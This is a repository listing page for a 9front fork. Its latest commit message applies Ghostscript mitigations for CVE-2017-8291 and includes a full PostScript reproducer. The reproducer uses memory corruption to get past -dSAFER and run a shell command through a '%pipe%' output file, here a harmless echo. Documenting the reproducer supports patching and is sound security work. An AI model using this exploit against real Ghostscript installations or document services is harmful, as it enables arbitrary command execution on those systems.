fork of 9front i guess
Go to file
cinap_lenrek 0af7d1fe35 gs: apply mitigations against CVE-2017-8291 (thanks jsmoody)
To reproduce:
gs -q -dNOPAUSE -dSAFER '-sDEVICE=ppmraw' '-sOutputFile=/dev/null' <<.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo gotce)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

.
2019-06-21 18:57:20 +02:00
386 ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
68000 add signed fixed size integer typedefs 2018-05-12 19:19:52 +02:00
68020 ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
acme win: fix typo 2018-08-02 14:37:07 -04:00
adm/timezone timezones: add India (thanks joe9) 2019-05-11 01:23:59 +02:00
amd64 ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
arm ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
arm64 arm64: add mkfile 2019-05-03 21:12:31 +02:00
lib lib: update pci database 2019-05-05 14:36:11 -07:00
mips ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
power ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
power64 add signed fixed size integer typedefs 2018-05-12 19:19:52 +02:00
rc rc-httpd: serve markdown with text/plain content-type 2019-06-20 16:26:03 +09:30
sparc ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
sparc64 ape: floating point improvements (thanks spew) 2018-05-24 13:40:44 +01:00
spim add signed fixed size integer typedefs 2018-05-12 19:19:52 +02:00
sys gs: apply mitigations against CVE-2017-8291 (thanks jsmoody) 2019-06-21 18:57:20 +02:00
.hgignore remove accidentally pushed change to .hgignore 2017-04-19 10:16:00 +00:00